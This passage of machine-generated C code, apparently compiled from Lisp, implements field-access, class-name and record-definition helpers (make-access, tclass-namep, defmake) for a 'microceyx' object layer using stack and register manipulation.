= (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_66() { /* 102 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[31] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_65() { /* 101 */ { register Ptr aRet, *rLit, rSp, rA4; rLit = GYmicroceyx; rSp = GIsp; rA4 = GIa4; (--rSp)->Val = ((Ptr) GXpopj2); (--rSp)->Val = rLit[37]; rA4 = (rSp + 3)->Val; rA4 = rA4->Val; rA4 = (rA4 + 1)->Val; (--rSp)->Val = rA4->Val; rA4 = (Ptr) 2; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_50() { /* #:microceyx:make-field-access */ { register Ptr aRet, rSp, rA4; rSp = GIsp; rA4 = GIa4; rA4 = (rSp + 2)->Val; if ((rA4 + 1)->Val != GInil) {aRet = ((Ptr) GLmicroceyx_77); goto lRet;} (--rSp)->Val = ((Ptr) GLmicroceyx_78); {register Ptr aux; aux = (rSp + 1)->Val; (--rSp)->Val = aux;} GIa3 = (rSp + 3)->Val; GIa2 = rA4->Val; GIa1 = (rSp + 5)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_80); {aRet = ((Ptr) GLmicroceyx_81); goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_80() { /* call_microceyx_79 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[31] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_78() { /* 103 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; rA1 = (rSp + 2)->Val; rA1 = rA1->Val; rA1 = (rA1 + 1)->Val; rA1 = rA1->Val; rSp += (Fix) 4; {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_77() { /* 101 */ { register Ptr aRet, *rLit, rSp, rA1; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; (--rSp)->Val = ((Ptr) GXpopj4); (--rSp)->Val = rLit[38]; (--rSp)->Val = ((Ptr) GLmicroceyx_82); {register Ptr aux; aux = (rSp + 6)->Val; (--rSp)->Val = aux;} rA1 = GIa4; rA1 = llrt_call_length (rA1, GIbcons); rA1 = (Ptr) ((UFix) ((Fix) (rA1) / (Fix) 2)); GIa2 = (rSp + 6)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_84); {aRet = (rLit[39] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_84() { /* call_microceyx_83 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; (--rSp)->Val = rA1; GIa2 = (rSp + 6)->Val; rA1 = GYmicroceyx[40]; GIsp = rSp; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); (--rSp)->Val = rA1; {register Ptr aux; aux = (rSp + 6)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 4; {aRet = ((Ptr) GLmicroceyx_50); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_82() { /* 105 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; (--rSp)->Val = rA1; (--rSp)->Val = ((Ptr) GLmicroceyx_85); {register Ptr aux; aux = (rSp + 7)->Val; (--rSp)->Val = aux;} rA1 = (rSp + 7)->Val; rA1 = llrt_call_length (rA1, GIbcons); rA1 = (Ptr) ((UFix) ((Fix) (rA1) / (Fix) 2)); GIa2 = (rSp + 7)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_87); {aRet = (GYmicroceyx[41] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_87() { /* call_microceyx_86 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; (--rSp)->Val = rA1; GIa2 = (rSp + 7)->Val; rA1 = GYmicroceyx[42]; GIsp = rSp; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); (--rSp)->Val = rA1; {register Ptr aux; aux = (rSp + 7)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 4; {aRet = ((Ptr) GLmicroceyx_50); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_85() { /* 106 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_81() { /* #:microceyx:make-access */ { register Ptr aRet, *rLit, rSp, rA2; rLit = GYmicroceyx; rSp = GIsp; rA2 = GIa2; (--rSp)->Val = GIa3; (--rSp)->Val = rA2; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_88); (--rSp)->Val = rLit[27]; rA2 = rA2->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_90); {aRet = (rLit[11] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa2 = rA2; return (aRet);}} static Ptr GLmicroceyx_90() { /* call_microceyx_89 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[43]; (--rSp)->Val = ((Ptr) GLmicroceyx_91); (--rSp)->Val = rLit[44]; (--rSp)->Val = rLit[45]; (--rSp)->Val = ((Ptr) GLmicroceyx_92); {register Ptr aux; aux = (rSp + 10)->Val; (--rSp)->Val = aux;} (--rSp)->Val = rLit[46]; GIa4 = (Ptr) 2; {aRet = (rLit[47] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_92() { /* 103 */ { register Ptr aRet, *rLit, rA1; rLit = GYmicroceyx; rA1 = GIa1; GIa2 = rA1; rA1 = rLit[48]; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); (--GIsp)->Val = ((Ptr) GLmicroceyx_94); {aRet = (rLit[49] + 2)->Val; goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_94() { /* call_microceyx_93 */ { register Ptr aRet, *rLit, rSp, rA1, rA4; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA4 = GIa4; GIa2 = rLit[50]; GIsp = rSp; GIa1 = rA1; GIa4 = rA4; rA1 = llrt_cons (rA1, GIa2); (--rSp)->Val = rA1; (--rSp)->Val = ((Ptr) GLmicroceyx_95); (--rSp)->Val = ((Ptr) GLmicroceyx_96); (--rSp)->Val = rLit[48]; rA4 = (rSp + 13)->Val; (--rSp)->Val = rA4->Val; (--rSp)->Val = rLit[51]; rA4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_96() { /* 105 */ { register Ptr aRet; (--GIsp)->Val = ((Ptr) GLmicroceyx_98); {aRet = (GYmicroceyx[49] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_98() { /* call_microceyx_97 */ { register Ptr aRet, *rLit, rSp, rA4; rLit = GYmicroceyx; rSp = GIsp; rA4 = GIa4; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_99); (--rSp)->Val = ((Ptr) GLmicroceyx_100); (--rSp)->Val = rLit[52]; rA4 = (rSp + 15)->Val; (--rSp)->Val = rA4->Val; rA4 = (Ptr) 2; {aRet = (rLit[53] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_100() { /* 107 */ { register Ptr aRet, *rLit, rSp, rA4; rLit = GYmicroceyx; rSp = GIsp; rA4 = GIa4; (--rSp)->Val = GIa1; rA4 = (rSp + 14)->Val; if ((rA4 + 1)->Val == GInil) {aRet = ((Ptr) GLmicroceyx_101); goto lRet;} (--rSp)->Val = ((Ptr) GLmicroceyx_102); (--rSp)->Val = (rA4 + 1)->Val; (--rSp)->Val = rLit[54]; rA4 = (Ptr) 2; {aRet = (rLit[47] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_102() { /* 110 */ { register Ptr aRet, *rLit, rA1; rLit = GYmicroceyx; rA1 = GIa1; GIa2 = rA1; rA1 = rLit[48]; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); (--GIsp)->Val = ((Ptr) GLmicroceyx_104); {aRet = (rLit[49] + 2)->Val; goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_104() { /* call_microceyx_103 */ { register Ptr aRet, rA1; rA1 = GIa1; GIa2 = GYmicroceyx[55]; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); GIa4 = rA1; {aRet = ((Ptr) GLmicroceyx_105); goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_101() { /* 108 */ { register Ptr aRet; GIa4 = GYmicroceyx[56]; {aRet = ((Ptr) GLmicroceyx_105); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_105() { /* 109 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa4; (--rSp)->Val = rLit[57]; GIa4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_99() { /* 106 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_95() { /* 104 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 4; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_91() { /* 102 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 4; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_88() { /* 101 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; GIa1 = rLit[33]; (--rSp)->Val = ((Ptr) GLmicroceyx_107); {aRet = (rLit[34] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_107() { /* call_microceyx_106 */ { register Ptr aRet, *rLit, rSp, rA2; rLit = GYmicroceyx; rSp = GIsp; rA2 = GIa2; if (GIa1 == GInil) {aRet = ((Ptr) GLmicroceyx_108); goto lRet;} (--rSp)->Val = ((Ptr) GLmicroceyx_109); (--rSp)->Val = ((Ptr) GLmicroceyx_110); (--rSp)->Val = rLit[35]; rA2 = (rSp + 5)->Val; rA2 = rA2->Val; GIa1 = (rSp + 4)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_112); {aRet = (rLit[11] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa2 = rA2; return (aRet);}} static Ptr GLmicroceyx_112() { /* call_microceyx_111 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[58]; (--rSp)->Val = ((Ptr) GLmicroceyx_113); (--rSp)->Val = rLit[59]; (--rSp)->Val = rLit[60]; (--rSp)->Val = ((Ptr) GLmicroceyx_114); (--rSp)->Val = rLit[7]; (--rSp)->Val = ((Ptr) GLmicroceyx_115); (--rSp)->Val = rLit[18]; (--rSp)->Val = ((Ptr) GLmicroceyx_116); {register Ptr aux; aux = (rSp + 16)->Val; (--rSp)->Val = aux;} (--rSp)->Val = rLit[61]; GIa4 = (Ptr) 2; {aRet = (rLit[47] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_116() { /* 118 */ { register Ptr aRet, *rLit, rA1; rLit = GYmicroceyx; rA1 = GIa1; GIa2 = rA1; rA1 = rLit[48]; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); (--GIsp)->Val = ((Ptr) GLmicroceyx_118); {aRet = (rLit[49] + 2)->Val; goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_118() { /* call_microceyx_117 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_115() { /* 117 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[62]; GIa4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_114() { /* 116 */ { register Ptr aRet, *rLit, rSp, rA4; rLit = GYmicroceyx; rSp = GIsp; rA4 = GIa4; (--rSp)->Val = GIa1; rA4 = (rSp + 12)->Val; if ((rA4 + 1)->Val == GInil) {aRet = ((Ptr) GLmicroceyx_119); goto lRet;} (--rSp)->Val = ((Ptr) GLmicroceyx_120); (--rSp)->Val = rLit[7]; (--rSp)->Val = ((Ptr) GLmicroceyx_121); (--rSp)->Val = rLit[18]; (--rSp)->Val = ((Ptr) GLmicroceyx_122); (--rSp)->Val = rLit[48]; (--rSp)->Val = rA4->Val; (--rSp)->Val = rLit[63]; rA4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_122() { /* 123 */ { register Ptr aRet; (--GIsp)->Val = ((Ptr) GLmicroceyx_124); {aRet = (GYmicroceyx[49] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_124() { /* call_microceyx_123 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_121() { /* 122 */ { register Ptr aRet, *rLit, rSp, rA4; rLit = GYmicroceyx; rSp = GIsp; rA4 = GIa4; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_125); (--rSp)->Val = rLit[7]; (--rSp)->Val = ((Ptr) GLmicroceyx_126); (--rSp)->Val = rLit[18]; (--rSp)->Val = ((Ptr) GLmicroceyx_127); (--rSp)->Val = rLit[52]; rA4 = (rSp + 21)->Val; (--rSp)->Val = rA4->Val; rA4 = (Ptr) 2; {aRet = (rLit[53] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_127() { /* 126 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_126() { /* 125 */ { register Ptr aRet, *rLit, rSp, rA4; rLit = GYmicroceyx; rSp = GIsp; rA4 = GIa4; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_128); (--rSp)->Val = rLit[7]; (--rSp)->Val = ((Ptr) GLmicroceyx_129); (--rSp)->Val = rLit[18]; (--rSp)->Val = ((Ptr) GLmicroceyx_130); rA4 = (rSp + 23)->Val; (--rSp)->Val = (rA4 + 1)->Val; (--rSp)->Val = rLit[64]; rA4 = (Ptr) 2; {aRet = (rLit[47] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_130() { /* 129 */ { register Ptr aRet, *rLit, rA1; rLit = GYmicroceyx; rA1 = GIa1; GIa2 = rA1; rA1 = rLit[48]; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); (--GIsp)->Val = ((Ptr) GLmicroceyx_132); {aRet = (rLit[49] + 2)->Val; goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_132() { /* call_microceyx_131 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_129() { /* 128 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[65]; GIa4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_128() { /* 127 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[66]; GIa4 = (Ptr) 4; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_125() { /* 124 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_120() { /* 121 */ { register Ptr aRet; GIa4 = GIa1; {aRet = ((Ptr) GLmicroceyx_133); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_119() { /* 119 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = ((Ptr) GLmicroceyx_134); (--rSp)->Val = rLit[7]; (--rSp)->Val = ((Ptr) GLmicroceyx_135); (--rSp)->Val = rLit[18]; (--rSp)->Val = ((Ptr) GLmicroceyx_136); (--rSp)->Val = rLit[48]; (--rSp)->Val = GIa4->Val; (--rSp)->Val = rLit[67]; GIa4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_136() { /* 132 */ { register Ptr aRet; (--GIsp)->Val = ((Ptr) GLmicroceyx_138); {aRet = (GYmicroceyx[49] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_138() { /* call_microceyx_137 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_135() { /* 131 */ { register Ptr aRet, *rLit, rSp, rA4; rLit = GYmicroceyx; rSp = GIsp; rA4 = GIa4; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_139); (--rSp)->Val = rLit[7]; (--rSp)->Val = ((Ptr) GLmicroceyx_140); (--rSp)->Val = rLit[18]; (--rSp)->Val = ((Ptr) GLmicroceyx_141); (--rSp)->Val = rLit[52]; rA4 = (rSp + 21)->Val; (--rSp)->Val = rA4->Val; rA4 = (Ptr) 2; {aRet = (rLit[53] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_141() { /* 135 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_140() { /* 134 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[68]; GIa4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_139() { /* 133 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_134() { /* 130 */ { register Ptr aRet; GIa4 = GIa1; {aRet = ((Ptr) GLmicroceyx_133); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_133() { /* 120 */ { register Ptr aRet; (--GIsp)->Val = GIa4; GIa4 = (Ptr) 4; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_113() { /* 115 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 4; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_110() { /* 114 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 1; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_109() { /* 113 */ { register Ptr aRet; GIa2 = GIa1; {aRet = ((Ptr) GLmicroceyx_142); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_108() { /* 111 */ { register Ptr aRet; GIa2 = GInil; {aRet = ((Ptr) GLmicroceyx_142); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_142() { /* 112 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; rA1 = (rSp++)->Val; rSp += (Fix) 3; GIsp = rSp; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_143() { /* tclass-namep */ { register Ptr aRet, *rLit, rSp, rA1; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; (--rSp)->Val = rA1; if ((rA1 < GIbsymb) || (rA1 >= GIbcons)) {aRet = ((Ptr) GLmicroceyx_144); goto lRet;} GIa2 = rLit[10]; (--rSp)->Val = ((Ptr) GLmicroceyx_146); {aRet = (rLit[69] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_146() { /* call_microceyx_145 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; if (GIa1 == GInil) {aRet = ((Ptr) GLmicroceyx_144); goto lRet;} GIa2 = rLit[2]; GIa1 = rSp->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_148); {aRet = (rLit[3] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_148() { /* call_microceyx_147 */ { register Ptr aRet, rSp; rSp = GIsp; if (GIa1 == GInil) {aRet = ((Ptr) GLmicroceyx_144); goto lRet;} GIa1 = GYmicroceyx[70]; rSp += (Fix) 1; {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_144() { /* 101 */ { register Ptr aRet, rSp; rSp = GIsp; GIa1 = GInil; rSp += (Fix) 1; {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_149() { /* record-namep */ { register Ptr aRet, *rLit, rA1; rLit = GYmicroceyx; rA1 = GIa1; if ((rA1 < GIbsymb) || (rA1 >= GIbcons)) {aRet = ((Ptr) GLmicroceyx_150); goto lRet;} GIa2 = rLit[20]; (--GIsp)->Val = ((Ptr) GLmicroceyx_152); {aRet = (rLit[3] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_152() { /* call_microceyx_151 */ { register Ptr aRet; if (GIa1 == GInil) {aRet = ((Ptr) GLmicroceyx_150); goto lRet;} GIa1 = GYmicroceyx[70]; {aRet = (GIsp++)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_150() { /* 101 */ { register Ptr aRet; GIa1 = GInil; {aRet = (GIsp++)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_153() { /* field-list */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; (--rSp)->Val = rA1; GIa2 = rA1; rA1 = GYmicroceyx[71]; (--rSp)->Val = ((Ptr) GLmicroceyx_155); {aRet = ((Ptr) GLmicroceyx_1); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_155() { /* call_microceyx_154 */ { register Ptr aRet, rSp; rSp = GIsp; rSp->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_157); {aRet = (GYmicroceyx[1] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_157() { /* call_microceyx_156 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; if (GIa1 == GInil) {aRet = ((Ptr) GLmicroceyx_158); goto lRet;} GIa2 = rLit[20]; GIa1 = rSp->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_160); {aRet = (rLit[3] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_160() { /* call_microceyx_159 */ { register Ptr aRet, rSp; rSp = GIsp; GIa1 = GIa1->Val; rSp += (Fix) 1; {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_158() { /* 101 */ { register Ptr aRet, rSp; rSp = GIsp; GIa2 = GInil; GIa1 = rSp->Val; rSp += (Fix) 1; {aRet = ((Ptr) GLmicroceyx_161); goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_161() { /* #:microceyx:tclass-field-list */ { register Ptr aRet, *rLit, rSp, rA1, rA2; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA2 = GIa2; (--rSp)->Val = rA2; if (rA1 != GInil) goto l_101; rA1 = rA2; rSp += (Fix) 1; {aRet = (rSp++)->Val; goto lRet;} l_101: if (rA1 != rLit[10]) goto l_103; rA1 = rA2; rSp += (Fix) 1; {aRet = (rSp++)->Val; goto lRet;} l_103: (--rSp)->Val = (rA1 + 3)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_162); rA2 = rLit[2]; (--rSp)->Val = ((Ptr) GLmicroceyx_164); {aRet = (rLit[3] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa2 = rA2; return (aRet);}} static Ptr GLmicroceyx_164() { /* call_microceyx_163 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = (GIa1 + 1)->Val; {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[47] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_162() { /* 105 */ { register Ptr aRet, rSp; rSp = GIsp; GIa2 = GIa1; GIa1 = (rSp++)->Val; rSp += (Fix) 1; {aRet = ((Ptr) GLmicroceyx_161); goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_165() { /* defmake */ { register Ptr aRet, *rLit, rSp, rA1, rA3, rA4; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA3 = GIa3; rA4 = GIa4; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA1; rA3 = (rA4 + 1)->Val; rA4 = rA4->Val; (--rSp)->Val = rA4; rA3 = rA3->Val; (--rSp)->Val = rA3; l_101: if (((rSp + 1)->Val >= GIbvar) && ((rSp + 1)->Val < GIbcons)) goto l_102; rA3 = (rSp + 1)->Val; GIa2 = rLit[72]; rA1 = rLit[73]; GIsp = rSp; GIa1 = rA1; GIa3 = rA3; GIa4 = rA4; rA1 = llrt_call_error (); (rSp + 1)->Val = rA1; goto l_101; l_102: (--rSp)->Val = ((Ptr) GXpopj3); (--rSp)->Val = rLit[27]; {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} (--rSp)->Val = ((Ptr) GLmicroceyx_166); (--rSp)->Val = rLit[74]; {register Ptr aux; aux = (rSp + 8)->Val; (--rSp)->Val = aux;} {register Ptr aux; aux = (rSp + 7)->Val; (--rSp)->Val = aux;} (--rSp)->Val = GInil; {aRet = ((Ptr) GLmicroceyx_167); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa3 = rA3; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_167() { /* 105 */ { register Ptr aRet, rSp, rA4; rSp = GIsp; rA4 = GIa4; if ((long) (rSp + 1)->Val < (long) GIbcons) {aRet = ((Ptr) GLmicroceyx_168); goto lRet;} rA4 = (rSp + 1)->Val; (rSp + 1)->Val = (rA4 + 1)->Val; (--rSp)->Val = rA4->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_169); {register Ptr aux; aux = (rSp + 1)->Val; (--rSp)->Val = aux;} {register Ptr aux; aux = (rSp + 2)->Val; (--rSp)->Val = aux;} rA4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_169() { /* 107 */ { register Ptr aRet, rSp; rSp = GIsp; rSp += (Fix) 1; GIa2 = rSp->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_171); {aRet = (GYmicroceyx[75] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_171() { /* call_microceyx_170 */ { register Ptr aRet; GIsp->Val = GIa1; {aRet = ((Ptr) GLmicroceyx_167); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_168() { /* 106 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; rA1 = rSp->Val; rA1 = llrt_call_nreverse (rA1, GIbcons); rSp += (Fix) 2; (--rSp)->Val = rA1; GIa4 = (Ptr) 3; {aRet = 